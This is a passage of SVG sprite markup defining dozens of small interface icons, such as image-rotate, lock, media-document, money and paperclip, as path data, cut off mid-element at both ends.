d="M4 16v-2H2v2H1v-5h1v2h2v-2h1v5H4zM7 16v-4H5.6v-1h3.7v1H8v4H7zM10 16v-5h1l1.4 3.4h.1L14 11h1v5h-1v-3.1h-.1l-1.1 2.5h-.6l-1.1-2.5H11V16h-1zM19 16h-3v-5h1v4h2v1zM9.4 4.2L7.1 6.5l2.3 2.3-.6 1.2-3.5-3.5L8.8 3l.6 1.2zm1.2 4.6l2.3-2.3-2.3-2.3.6-1.2 3.5 3.5-3.5 3.5-.6-1.2z"/></g></symbol><symbol viewBox="0 0 20 20" id="id-alt"><title>id-alt</title><g><path d="M18 18H2V2h16v16zM8.05 7.53c.13-.07.24-.15.33-.24.09-.1.17-.21.24-.34.07-.14.13-.26.17-.37s.07-.22.1-.34L8.95 6c0-.04.01-.07.01-.09.05-.32.03-.61-.04-.9-.08-.28-.23-.52-.46-.72C8.23 4.1 7.95 4 7.6 4c-.2 0-.39.04-.56.11-.17.08-.31.18-.41.3-.11.13-.2.27-.27.44-.07.16-.11.33-.12.51s0 .36.01.55l.02.09c.01.06.03.15.06.25s.06.21.1.33.1.25.17.37c.08.12.16.23.25.33s.2.19.34.25c.13.06.28.09.43.09s.3-.03.43-.09zM16 5V4h-5v1h5zm0 2V6h-5v1h5zM7.62 8.83l-1.38-.88c-.41 0-.79.11-1.14.32-.35.22-.62.5-.81.85-.19.34-.29.7-.29 1.07v1.25l.2.05c.13.04.31.09.55.14.24.06.51.12.8.17.29.06.62.1 1 .14.37.04.73.06 1.07.06s.69-.02 1.07-.06.7-.09.98-.14c.27-.05.54-.1.82-.17.27-.06.45-.11.54-.13.09-.03.16-.05.21-.06v-1.25c0-.36-.1-.72-.31-1.07s-.49-.64-.84-.86-.72-.33-1.11-.33zM16 9V8h-3v1h3zm0 2v-1h-3v1h3zm0 3v-1H4v1h12zm0 2v-1H4v1h12z"/></g></symbol><symbol viewBox="0 0 20 20" id="id"><title>id</title><g><path d="M18 16H2V4h16v12zM7.05 8.53c.13-.07.24-.15.33-.24.09-.1.17-.21.24-.34.07-.14.13-.26.17-.37s.07-.22.1-.34L7.95 7c0-.04.01-.07.01-.09.05-.32.03-.61-.04-.9-.08-.28-.23-.52-.46-.72C7.23 5.1 6.95 5 6.6 5c-.2 0-.39.04-.56.11-.17.08-.31.18-.41.3-.11.13-.2.27-.27.44-.07.16-.11.33-.12.51s0 .36.01.55l.02.09c.01.06.03.15.06.25s.06.21.1.33.1.25.17.37c.08.12.16.23.25.33s.2.19.34.25c.13.06.28.09.43.09s.3-.03.43-.09zM17 9V5h-5v4h5zm-10.38.83l-1.38-.88c-.41 0-.79.11-1.14.32-.35.22-.62.5-.81.85-.19.34-.29.7-.29 1.07v1.25l.2.05c.13.04.31.09.55.14.24.06.51.12.8.17.29.06.62.1 1 .14.37.04.73.06 1.07.06s.69-.02 1.07-.06.7-.09.98-.14c.27-.05.54-.1.82-.17.27-.06.45-.11.54-.13.09-.03.16-.05.21-.06v-1.25c0-.36-.1-.72-.31-1.07s-.49-.64-.84-.86-.72-.33-1.11-.33zM17 11v-1h-5v1h5zm0 2v-1h-5v1h5zm0 2v-1H3v1h14z"/></g></symbol><symbol viewBox="0 0 20 20" id="image-crop"><title>image-crop</title><g><path d="M19 12v3h-4v4h-3v-4H4V7H0V4h4V0h3v4h7l3-3 1 1-3 3v7h4zm-8-5H7v4zm-3 5h4V8z"/></g></symbol><symbol viewBox="0 0 20 20" id="image-filter"><title>image-filter</title><g><path d="M14 5.87c0-2.2-1.79-4-4-4s-4 1.8-4 4c0 2.21 1.79 4 4 4s4-1.79 4-4zM3.24 10.66c-1.92 1.1-2.57 3.55-1.47 5.46 1.11 1.92 3.55 2.57 5.47 1.47 1.91-1.11 2.57-3.55 1.46-5.47-1.1-1.91-3.55-2.56-5.46-1.46zm9.52 6.93c1.92 1.1 4.36.45 5.47-1.46 1.1-1.92.45-4.36-1.47-5.47-1.91-1.1-4.36-.45-5.46 1.46-1.11 1.92-.45 4.36 1.46 5.47z"/></g></symbol><symbol viewBox="0 0 20 20" id="image-flip-horizontal"><title>image-flip-horizontal</title><g><path d="M19 3v14h-8v3H9v-3H1V3h8V0h2v3h8zm-8.5 14V3h-1v14h1zM7 6.5L3 10l4 3.5v-7zM17 10l-4-3.5v7z"/></g></symbol><symbol viewBox="0 0 20 20" id="image-flip-vertical"><title>image-flip-vertical</title><g><path d="M20 9v2h-3v8H3v-8H0V9h3V1h14v8h3zM6.5 7h7L10 3zM17 9.5H3v1h14v-1zM13.5 13h-7l3.5 4z"/></g></symbol><symbol viewBox="0 0 20 20" id="image-rotate-left"><title>image-rotate-left</title><g><path d="M7 5H5.05c0-1.74.85-2.9 2.95-2.9V0C4.85 0 2.96 2.11 2.96 5H1.18L3.8 8.39zm13-4v14h-5v5H1V10h9V1h10zm-2 2h-6v7h3v3h3V3zm-5 9H3v6h10v-6z"/></g></symbol><symbol viewBox="0 0 20 20" id="image-rotate-right"><title>image-rotate-right</title><g><path d="M15.95 5H14l3.2 3.39L19.82 5h-1.78c0-2.89-1.89-5-5.04-5v2.1c2.1 0 2.95 1.16 2.95 2.9zM1 1h10v9h9v10H6v-5H1V1zm2 2v10h3v-3h3V3H3zm5 9v6h10v-6H8z"/></g></symbol><symbol viewBox="0 0 20 20" id="image-rotate"><title>image-rotate</title><g><path d="M10.25 1.02c5.1 0 8.75 4.04 8.75 9s-3.65 9-8.75 9c-3.2 0-6.02-1.59-7.68-3.99l2.59-1.52c1.1 1.5 2.86 2.51 4.84 2.51 3.3 0 6-2.79 6-6s-2.7-6-6-6c-1.97 0-3.72 1-4.82 2.49L7 8.02l-6 2v-7L2.89 4.6c1.69-2.17 4.36-3.58 7.36-3.58z"/></g></symbol><symbol viewBox="0 0 20 20" id="images-alt"><title>images-alt</title><g><path d="M4 15v-3H2V2h12v3h2v3h2v10H6v-3H4zm7-12c-1.1 0-2 .9-2 2h4c0-1.1-.89-2-2-2zm-7 8V6H3v5h1zm7-3h4c0-1.1-.89-2-2-2-1.1 0-2 .9-2 2zm-5 6V9H5v5h1zm9-1c1.1 0 2-.89 2-2 0-1.1-.9-2-2-2s-2 .9-2 2c0 1.11.9 2 2 2zm2 4v-2c-5 0-5-3-10-3v5h10z"/></g></symbol><symbol viewBox="0 0 20 20" id="images-alt2"><title>images-alt2</title><g><path d="M5 3h14v11h-2v2h-2v2H1V7h2V5h2V3zm13 10V4H6v9h12zm-3-4c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2zm1 6v-1H5V6H4v9h12zM7 6l10 6H7V6zm7 11v-1H3V8H2v9h12z"/></g></symbol><symbol viewBox="0 0 20 20" id="index-card"><title>index-card</title><g><path d="M1 3.17V18h18V4H8v-.83c0-.32-.12-.6-.35-.83S7.14 2 6.82 2H2.18c-.33 0-.6.11-.83.34-.24.23-.35.51-.35.83zM10 6v2H3V6h7zm7 0v10h-5V6h5zm-7 4v2H3v-2h7zm0 4v2H3v-2h7z"/></g></symbol><symbol viewBox="0 0 20 20" id="info-outline"><title>info-outline</title><g><path d="M9 15h2V9H9v6zm1-10c-.5 0-1 .5-1 1s.5 1 1 1 1-.5 1-1-.5-1-1-1zm0-4c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9zm0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7z"/></g></symbol><symbol viewBox="0 0 20 20" id="info"><title>info</title><g><path d="M10 2c4.42 0 8 3.58 8 8s-3.58 8-8 8-8-3.58-8-8 3.58-8 8-8zm1 4c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1zm0 9V9H9v6h2z"/></g></symbol><symbol viewBox="0 0 20 20" id="insert-after"><title>insert-after</title><g><path d="M9 12h2v-2h2V8h-2V6H9v2H7v2h2v2zm1 4c3.9 0 7-3.1 7-7s-3.1-7-7-7-7 3.1-7 7 3.1 7 7 7zm0-12c2.8 0 5 2.2 5 5s-2.2 5-5 5-5-2.2-5-5 2.2-5 5-5zM3 19h14v-2H3v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="insert-before"><title>insert-before</title><g><path d="M11 8H9v2H7v2h2v2h2v-2h2v-2h-2V8zm-1-4c-3.9 0-7 3.1-7 7s3.1 7 7 7 7-3.1 7-7-3.1-7-7-7zm0 12c-2.8 0-5-2.2-5-5s2.2-5 5-5 5 2.2 5 5-2.2 5-5 5zM3 1v2h14V1H3z"/></g></symbol><symbol viewBox="0 0 20 20" id="insert"><title>insert</title><g><path d="M10 1c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9zm0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7zm1-11H9v3H6v2h3v3h2v-3h3V9h-3V6z"/></g></symbol><symbol viewBox="0 0 20 20" id="instagram"><title>instagram</title><g><path d="M12.7 10c0-1.5-1.2-2.7-2.7-2.7S7.3 8.5 7.3 10s1.2 2.7 2.7 2.7c1.5 0 2.7-1.2 2.7-2.7zm1.4 0c0 2.3-1.8 4.1-4.1 4.1S5.9 12.3 5.9 10 7.7 5.9 10 5.9s4.1 1.8 4.1 4.1zm1.1-4.3c0 .6-.4 1-1 1s-1-.4-1-1 .4-1 1-1 1 .5 1 1zM10 3.4c-1.2 0-3.7-.1-4.7.3-.7.3-1.3.9-1.5 1.6-.4 1-.3 3.5-.3 4.7s-.1 3.7.3 4.7c.2.7.8 1.3 1.5 1.5 1 .4 3.6.3 4.7.3s3.7.1 4.7-.3c.7-.3 1.2-.8 1.5-1.5.4-1.1.3-3.6.3-4.7s.1-3.7-.3-4.7c-.2-.7-.8-1.3-1.5-1.5-1-.5-3.5-.4-4.7-.4zm8 6.6v3.3c0 1.2-.4 2.4-1.3 3.4-.9.9-2.1 1.3-3.4 1.3H6.7c-1.2 0-2.4-.4-3.4-1.3-.8-.9-1.3-2.1-1.3-3.4V10 6.7c0-1.3.5-2.5 1.3-3.4C4.3 2.5 5.5 2 6.7 2h6.6c1.2 0 2.4.4 3.4 1.3.8.9 1.3 2.1 1.3 3.4V10z"/></g></symbol><symbol viewBox="0 0 20 20" id="laptop"><title>laptop</title><g><path d="M3 3h14c.6 0 1 .4 1 1v10c0 .6-.4 1-1 1H3c-.6 0-1-.4-1-1V4c0-.6.4-1 1-1zm13 2H4v8h12V5zm-3 1H5v4zm6 11v-1H1v1c0 .6.5 1 1.1 1h15.8c.6 0 1.1-.4 1.1-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="layout"><title>layout</title><g><path d="M2 2h5v11H2V2zm6 0h5v5H8V2zm6 0h4v16h-4V2zM8 8h5v5H8V8zm-6 6h11v4H2v-4z"/></g></symbol><symbol viewBox="0 0 20 20" id="leftright"><title>leftright</title><g><path d="M3 10.03L9 6v8zM11 6l6 4.03L11 14V6z"/></g></symbol><symbol viewBox="0 0 20 20" id="lightbulb"><title>lightbulb</title><g><path d="M10 1c3.11 0 5.63 2.52 5.63 5.62 0 1.84-2.03 4.58-2.03 4.58-.33.44-.6 1.25-.6 1.8v1c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1v-1c0-.55-.27-1.36-.6-1.8 0 0-2.02-2.74-2.02-4.58C4.38 3.52 6.89 1 10 1zM7 16.87V16h6v.87c0 .62-.13 1.13-.75 1.13H12c0 .62-.4 1-1.02 1h-2c-.61 0-.98-.38-.98-1h-.25c-.62 0-.75-.51-.75-1.13z"/></g></symbol><symbol viewBox="0 0 20 20" id="linkedin"><title>linkedin</title><g><path d="M2.5 18h3V6.9h-3V18zM4 2c-1 0-1.8.8-1.8 1.8S3 5.6 4 5.6s1.8-.8 1.8-1.8S5 2 4 2zm6.6 6.6V6.9h-3V18h3v-5.7c0-3.2 4.1-3.4 4.1 0V18h3v-6.8c0-5.4-5.7-5.2-7.1-2.6z"/></g></symbol><symbol viewBox="0 0 20 20" id="list-view"><title>list-view</title><g><path d="M2 19h16c.55 0 1-.45 1-1V2c0-.55-.45-1-1-1H2c-.55 0-1 .45-1 1v16c0 .55.45 1 1 1zM4 3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1zm13 0v2H6V3h11zM4 7c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1zm13 0v2H6V7h11zM4 11c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1zm13 0v2H6v-2h11zM4 15c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1zm13 0v2H6v-2h11z"/></g></symbol><symbol viewBox="0 0 20 20" id="location-alt"><title>location-alt</title><g><path d="M13 13.14l1.17-5.94c.79-.43 1.33-1.25 1.33-2.2 0-1.38-1.12-2.5-2.5-2.5S10.5 3.62 10.5 5c0 .95.54 1.77 1.33 2.2zm0-9.64c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5zm1.72 4.8L18 6.97v9L13.12 18 7 15.97l-5 2v-9l5-2 4.27 1.41 1.73 7.3z"/></g></symbol><symbol viewBox="0 0 20 20" id="location"><title>location</title><g><path d="M10 2C6.69 2 4 4.69 4 8c0 2.02 1.17 3.71 2.53 4.89.43.37 1.18.96 1.85 1.83.74.97 1.41 2.01 1.62 2.71.21-.7.88-1.74 1.62-2.71.67-.87 1.42-1.46 1.85-1.83C14.83 11.71 16 10.02 16 8c0-3.31-2.69-6-6-6zm0 2.56c1.9 0 3.44 1.54 3.44 3.44S11.9 11.44 10 11.44 6.56 9.9 6.56 8 8.1 4.56 10 4.56z"/></g></symbol><symbol viewBox="0 0 20 20" id="lock-duplicate"><title>lock-duplicate</title><g><path d="M15 9h-1V6c0-2.2-1.8-4-4-4S6 3.8 6 6v3H5c-.5 0-1 .5-1 1v7c0 .5.5 1 1 1h10c.5 0 1-.5 1-1v-7c0-.5-.5-1-1-1zm-4 7H9l.4-2.2c-.5-.2-.9-.8-.9-1.3 0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5c0 .6-.3 1.1-.9 1.3L11 16zm1-7H8V6c0-1.1.9-2 2-2s2 .9 2 2v3z"/></g></symbol><symbol viewBox="0 0 20 20" id="lock"><title>lock</title><g><path d="M15 9h-1V6c0-2.2-1.8-4-4-4S6 3.8 6 6v3H5c-.5 0-1 .5-1 1v7c0 .5.5 1 1 1h10c.5 0 1-.5 1-1v-7c0-.5-.5-1-1-1zm-4 7H9l.4-2.2c-.5-.2-.9-.8-.9-1.3 0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5c0 .6-.3 1.1-.9 1.3L11 16zm1-7H8V6c0-1.1.9-2 2-2s2 .9 2 2v3z"/></g></symbol><symbol viewBox="0 0 20 20" id="marker"><title>marker</title><g><path d="M10 2c4.42 0 8 3.58 8 8s-3.58 8-8 8-8-3.58-8-8 3.58-8 8-8zm0 13c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5z"/></g></symbol><symbol viewBox="0 0 20 20" id="media-archive"><title>media-archive</title><g><path d="M12 2l4 4v12H4V2h8zm0 4h3l-3-3v3zM8 3.5v2l1.8-1zM11 5L9.2 6 11 7V5zM8 6.5v2l1.8-1zM11 8L9.2 9l1.8 1V8zM8 9.5v2l1.8-1zm3 1.5l-1.8 1 1.8 1v-2zm-1.5 6c.83 0 1.62-.72 1.5-1.63-.05-.38-.49-1.61-.49-1.61l-1.99-1.1s-.45 1.95-.52 2.71c-.07.77.67 1.63 1.5 1.63zm0-2.39c.42 0 .76.34.76.76 0 .43-.34.77-.76.77s-.76-.34-.76-.77c0-.42.34-.76.76-.76z"/></g></symbol><symbol viewBox="0 0 20 20" id="media-audio"><title>media-audio</title><g><path d="M12 2l4 4v12H4V2h8zm0 4h3l-3-3v3zm1 7.26V8.09c0-.11-.04-.21-.12-.29-.07-.08-.16-.11-.27-.1 0 0-3.97.71-4.25.78C8.07 8.54 8 8.8 8 9v3.37c-.2-.09-.42-.07-.6-.07-.38 0-.7.13-.96.39-.26.27-.4.58-.4.96 0 .37.14.69.4.95.26.27.58.4.96.4.34 0 .7-.04.96-.26.26-.23.64-.65.64-1.12V10.3l3-.6V12c-.67-.2-1.17.04-1.44.31-.26.26-.39.58-.39.95 0 .38.13.69.39.96.27.26.71.39 1.08.39.38 0 .7-.13.96-.39.26-.27.4-.58.4-.96z"/></g></symbol><symbol viewBox="0 0 20 20" id="media-code"><title>media-code</title><g><path d="M12 2l4 4v12H4V2h8zM9 13l-2-2 2-2-1-1-3 3 3 3zm3 1l3-3-3-3-1 1 2 2-2 2z"/></g></symbol><symbol viewBox="0 0 20 20" id="media-default"><title>media-default</title><g><path d="M12 2l4 4v12H4V2h8zm0 4h3l-3-3v3z"/></g></symbol><symbol viewBox="0 0 20 20" id="media-document"><title>media-document</title><g><path d="M12 2l4 4v12H4V2h8zM5 3v1h6V3H5zm7 3h3l-3-3v3zM5 5v1h6V5H5zm10 3V7H5v1h10zM5 9v1h4V9H5zm10 3V9h-5v3h5zM5 11v1h4v-1H5zm10 3v-1H5v1h10zm-3 2v-1H5v1h7z"/></g></symbol><symbol viewBox="0 0 20 20" id="media-interactive"><title>media-interactive</title><g><path d="M12 2l4 4v12H4V2h8zm0 4h3l-3-3v3zm2 8V8H6v6h3l-1 2h1l1-2 1 2h1l-1-2h3zm-6-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1zm5-2v2h-3V9h3zm0 3v1H7v-1h6z"/></g></symbol><symbol viewBox="0 0 20 20" id="media-spreadsheet"><title>media-spreadsheet</title><g><path d="M12 2l4 4v12H4V2h8zm-1 4V3H5v3h6zM8 8V7H5v1h3zm3 0V7H9v1h2zm4 0V7h-3v1h3zm-7 2V9H5v1h3zm3 0V9H9v1h2zm4 0V9h-3v1h3zm-7 2v-1H5v1h3zm3 0v-1H9v1h2zm4 0v-1h-3v1h3zm-7 2v-1H5v1h3zm3 0v-1H9v1h2zm4 0v-1h-3v1h3zm-7 2v-1H5v1h3zm3 0v-1H9v1h2z"/></g></symbol><symbol viewBox="0 0 20 20" id="media-text"><title>media-text</title><g><path d="M12 2l4 4v12H4V2h8zM5 3v1h6V3H5zm7 3h3l-3-3v3zM5 5v1h6V5H5zm10 3V7H5v1h10zm0 2V9H5v1h10zm0 2v-1H5v1h10zm-4 2v-1H5v1h6z"/></g></symbol><symbol viewBox="0 0 20 20" id="media-video"><title>media-video</title><g><path d="M12 2l4 4v12H4V2h8zm0 4h3l-3-3v3zm-1 8v-3c0-.27-.1-.51-.29-.71-.2-.19-.44-.29-.71-.29H7c-.27 0-.51.1-.71.29-.19.2-.29.44-.29.71v3c0 .27.1.51.29.71.2.19.44.29.71.29h3c.27 0 .51-.1.71-.29.19-.2.29-.44.29-.71zm3 1v-5l-2 2v1z"/></g></symbol><symbol viewBox="0 0 20 20" id="megaphone"><title>megaphone</title><g><path d="M18.15 5.94c.46 1.62.38 3.22-.02 4.48-.42 1.28-1.26 2.18-2.3 2.48-.16.06-.26.06-.4.06-.06.02-.12.02-.18.02-.06.02-.14.02-.22.02h-6.8l2.22 5.5c.02.14-.06.26-.14.34-.08.1-.24.16-.34.16H6.95c-.1 0-.26-.06-.34-.16-.08-.08-.16-.2-.14-.34l-1-5.5H4.25l-.02-.02c-.5.06-1.08-.18-1.54-.62s-.88-1.08-1.06-1.88c-.24-.8-.2-1.56-.02-2.2.18-.62.58-1.08 1.06-1.3l.02-.02 9-5.4c.1-.06.18-.1.24-.16.06-.04.14-.08.24-.12.16-.08.28-.12.5-.18 1.04-.3 2.24.1 3.22.98s1.84 2.24 2.26 3.86zm-2.58 5.98h-.02c.4-.1.74-.34 1.04-.7.58-.7.86-1.76.86-3.04 0-.64-.1-1.3-.28-1.98-.34-1.36-1.02-2.5-1.78-3.24s-1.68-1.1-2.46-.88c-.82.22-1.4.96-1.7 2-.32 1.04-.28 2.36.06 3.72.38 1.36 1 2.5 1.8 3.24.78.74 1.62 1.1 2.48.88zm-2.54-7.08c.22-.04.42-.02.62.04.38.16.76.48 1.02 1s.42 1.2.42 1.78c0 .3-.04.56-.12.8-.18.48-.44.84-.86.94-.34.1-.8-.06-1.14-.4s-.64-.86-.78-1.5c-.18-.62-.12-1.24.02-1.72s.48-.84.82-.94z"/></g></symbol><symbol viewBox="0 0 20 20" id="menu-alt"><title>menu-alt</title><g><path d="M3 11h14V9H3v2zm0 5h14v-2H3v2zM3 4v2h14V4H3z"/></g></symbol><symbol viewBox="0 0 20 20" id="menu-alt2"><title>menu-alt2</title><g><path d="M5 15h10v-2H5v2zM5 5v2h10V5H5zm0 6h10V9H5v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="menu-alt3"><title>menu-alt3</title><g><path d="M20 5V2H0v3h20zm0 6V8H0v3h20zm0 6v-3H0v3h20z"/></g></symbol><symbol viewBox="0 0 20 20" id="menu"><title>menu</title><g><path d="M3 15h14v-2H3v2zM3 5v2h14V5H3zm0 6h14V9H3v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="microphone"><title>microphone</title><g><path d="M12 9V3c0-1.1-.89-2-2-2-1.12 0-2 .94-2 2v6c0 1.1.9 2 2 2 1.13 0 2-.94 2-2zm4 0c0 2.97-2.16 5.43-5 5.91V17h2c.56 0 1 .45 1 1s-.44 1-1 1H7c-.55 0-1-.45-1-1s.45-1 1-1h2v-2.09C6.17 14.43 4 11.97 4 9c0-.55.45-1 1-1 .56 0 1 .45 1 1 0 2.21 1.8 4 4 4 2.21 0 4-1.79 4-4 0-.55.45-1 1-1 .56 0 1 .45 1 1z"/></g></symbol><symbol viewBox="0 0 20 20" id="migrate"><title>migrate</title><g><path d="M4 6h6V4H2v12.01h8V14H4V6zm2 2h6V5l6 5-6 5v-3H6V8z"/></g></symbol><symbol viewBox="0 0 20 20" id="minus"><title>minus</title><g><path d="M4 9h12v2H4V9z"/></g></symbol><symbol viewBox="0 0 20 20" id="money-alt"><title>money-alt</title><g><path d="M10.6 9c-.4-.1-.8-.3-1.1-.6-.3-.1-.4-.4-.4-.6 0-.2.1-.5.3-.6.3-.2.6-.4.9-.3.6 0 1.1.3 1.4.7l.9-1.2c-.3-.3-.6-.5-.9-.7-.3-.2-.7-.3-1.1-.3V4H9.4v1.4c-.5.1-1 .4-1.4.8-.4.5-.7 1.1-.6 1.7 0 .6.2 1.2.6 1.6.5.5 1.2.8 1.8 1.1.3.1.7.3 1 .5.2.2.3.5.3.8 0 .3-.1.6-.3.9-.3.3-.7.4-1 .4-.4 0-.9-.1-1.2-.4-.3-.2-.6-.5-.8-.8l-1 1.1c.3.4.6.7 1 1 .5.3 1.1.6 1.7.6V16h1.1v-1.5c.6-.1 1.1-.4 1.5-.8.5-.5.8-1.3.8-2 0-.6-.2-1.3-.7-1.7-.5-.5-1-.8-1.6-1zM10 2c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.9c-3.8 0-6.9-3.1-6.9-6.9S6.2 3.1 10 3.1s6.9 3.1 6.9 6.9-3.1 6.9-6.9 6.9z"/></g></symbol><symbol viewBox="0 0 20 20" id="money"><title>money</title><g><path d="M0 3h20v12h-.75c0-1.79-1.46-3.25-3.25-3.25-1.31 0-2.42.79-2.94 1.91-.25-.1-.52-.16-.81-.16-.98 0-1.8.63-2.11 1.5H0V3zm8.37 3.11c-.06.15-.1.31-.11.47s-.01.33.01.5l.02.08c.01.06.02.14.05.23.02.1.06.2.1.31.03.11.09.22.15.33.07.12.15.22.23.31s.18.17.31.23c.12.06.25.09.4.09.14 0 .27-.03.39-.09s.22-.14.3-.22c.09-.09.16-.2.22-.32.07-.12.12-.23.16-.33s.07-.2.09-.31c.03-.11.04-.18.05-.22s.01-.07.01-.09c.05-.29.03-.56-.04-.82s-.21-.48-.41-.66c-.21-.18-.47-.27-.79-.27-.19 0-.36.03-.52.1-.15.07-.28.16-.38.28-.09.11-.17.25-.24.4zm4.48 6.04v-1.14c0-.33-.1-.66-.29-.98s-.45-.59-.77-.79c-.32-.21-.66-.31-1.02-.31l-1.24.84-1.28-.82c-.37 0-.72.1-1.04.3-.31.2-.56.46-.74.77-.18.32-.27.65-.27.99v1.14l.18.05c.12.04.29.08.51.14.23.05.47.1.74.15.26.05.57.09.91.13.34.03.67.05.99.05.3 0 .63-.02.98-.05.34-.04.64-.08.89-.13.25-.04.5-.1.76-.16l.5-.12c.08-.02.14-.04.19-.06zm3.15.1c1.52 0 2.75 1.23 2.75 2.75s-1.23 2.75-2.75 2.75c-.73 0-1.38-.3-1.87-.77.23-.35.37-.78.37-1.23 0-.77-.39-1.46-.99-1.86.43-.96 1.37-1.64 2.49-1.64zm-5.5 3.5c0-.96.79-1.75 1.75-1.75s1.75.79 1.75 1.75-.79 1.75-1.75 1.75-1.75-.79-1.75-1.75z"/></g></symbol><symbol viewBox="0 0 20 20" id="move"><title>move</title><g><path d="M19 10l-4 4v-3h-4v4h3l-4 4-4-4h3v-4H5v3l-4-4 4-4v3h4V5H6l4-4 4 4h-3v4h4V6z"/></g></symbol><symbol viewBox="0 0 20 20" id="nametag"><title>nametag</title><g><path d="M12 5V2c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h2c.55 0 1-.45 1-1zm-2-3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1zm8 13V7c0-1.1-.9-2-2-2h-3v.33C13 6.25 12.25 7 11.33 7H8.67C7.75 7 7 6.25 7 5.33V5H4c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2zm-1-6v6H3V9h14zm-8 2c0-.55-.22-1-.5-1s-.5.45-.5 1 .22 1 .5 1 .5-.45.5-1zm3 0c0-.55-.22-1-.5-1s-.5.45-.5 1 .22 1 .5 1 .5-.45.5-1zm-5.96 1.21c.92.48 2.34.79 3.96.79s3.04-.31 3.96-.79c-.21 1-1.89 1.79-3.96 1.79s-3.75-.79-3.96-1.79z"/></g></symbol><symbol viewBox="0 0 20 20" id="networking"><title>networking</title><g><path d="M18 13h1c.55 0 1 .45 1 1.01v2.98c0 .56-.45 1.01-1 1.01h-4c-.55 0-1-.45-1-1.01v-2.98c0-.56.45-1.01 1-1.01h1v-2h-5v2h1c.55 0 1 .45 1 1.01v2.98c0 .56-.45 1.01-1 1.01H8c-.55 0-1-.45-1-1.01v-2.98c0-.56.45-1.01 1-1.01h1v-2H4v2h1c.55 0 1 .45 1 1.01v2.98C6 17.55 5.55 18 5 18H1c-.55 0-1-.45-1-1.01v-2.98C0 13.45.45 13 1 13h1v-2c0-1.1.9-2 2-2h5V7H8c-.55 0-1-.45-1-1.01V3.01C7 2.45 7.45 2 8 2h4c.55 0 1 .45 1 1.01v2.98C13 6.55 12.55 7 12 7h-1v2h5c1.1 0 2 .9 2 2v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="no-alt"><title>no-alt</title><g><path d="M14.95 6.46L11.41 10l3.54 3.54-1.41 1.41L10 11.42l-3.53 3.53-1.42-1.42L8.58 10 5.05 6.47l1.42-1.42L10 8.58l3.54-3.53z"/></g></symbol><symbol viewBox="0 0 20 20" id="no"><title>no</title><g><path d="M12.12 10l3.53 3.53-2.12 2.12L10 12.12l-3.54 3.54-2.12-2.12L7.88 10 4.34 6.46l2.12-2.12L10 7.88l3.54-3.53 2.12 2.12z"/></g></symbol><symbol viewBox="0 0 20 20" id="open-folder"><title>open-folder</title><g><path d="M10.5 6l-2-2H2l.7 9.5L4.2 6h6.3zM5 7L3 17h13l2-10H5z"/></g></symbol><symbol viewBox="0 0 20 20" id="palmtree"><title>palmtree</title><g><path d="M8.58 2.39c.32 0 .59.05.81.14 1.25.55 1.69 2.24 1.7 3.97.59-.82 2.15-2.29 3.41-2.29s2.94.73 3.53 3.55c-1.13-.65-2.42-.94-3.65-.94-1.26 0-2.45.32-3.29.89.4-.11.86-.16 1.33-.16 1.39 0 2.9.45 3.4 1.31.68 1.16.47 3.38-.76 4.14-.14-2.1-1.69-4.12-3.47-4.12-.44 0-.88.12-1.33.38C8 10.62 7 14.56 7 19H2c0-5.53 4.21-9.65 7.68-10.79-.56-.09-1.17-.15-1.82-.15C6.1 8.06 4.05 8.5 2 10c.76-2.96 2.78-4.1 4.69-4.1 1.25 0 2.45.5 3.2 1.29-.66-2.24-2.49-2.86-4.08-2.86-.8 0-1.55.16-2.05.35.91-1.29 3.31-2.29 4.82-2.29zM13 11.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5.67 1.5 1.5 1.5 1.5-.67 1.5-1.5z"/></g></symbol><symbol viewBox="0 0 20 20" id="paperclip"><title>paperclip</title><g><path d="M17.05 2.7c1.93 1.94 1.93 5.13 0 7.07L10 16.84c-1.88 1.89-4.91 1.93-6.86.15-.06-.05-.13-.09-.19-.15-1.93-1.94-1.93-5.12 0-7.07l4.94-4.95c.91-.92 2.28-1.1 3.39-.58.3.15.59.33.83.58 1.17 1.17 1.17 3.07 0 4.24l-4.93 4.95c-.39.39-1.02.39-1.41 0s-.39-1.02 0-1.41l4.93-4.95c.39-.39.39-1.02 0-1.41-.38-.39-1.02-.39-1.4 0l-4.94 4.95c-.91.92-1.1 2.29-.57 3.4.14.3.32.59.57.84s.54.43.84.57c1.11.53 2.47.35 3.39-.57l7.05-7.07c1.16-1.17 1.16-3.08 0-4.25-.56-.55-1.28-.83-2-.86-.08.01-.16.01-.24 0-.22-.03-.43-.11-.6-.27-.39-.4-.38-1.05.02-1.45.16-.16.36-.24.56-.28.14-.02.27-.01.4.02 1.19.06 2.36.52 3.27 1.43z"/></g></symbol><symbol viewBox="0 0 20 20" 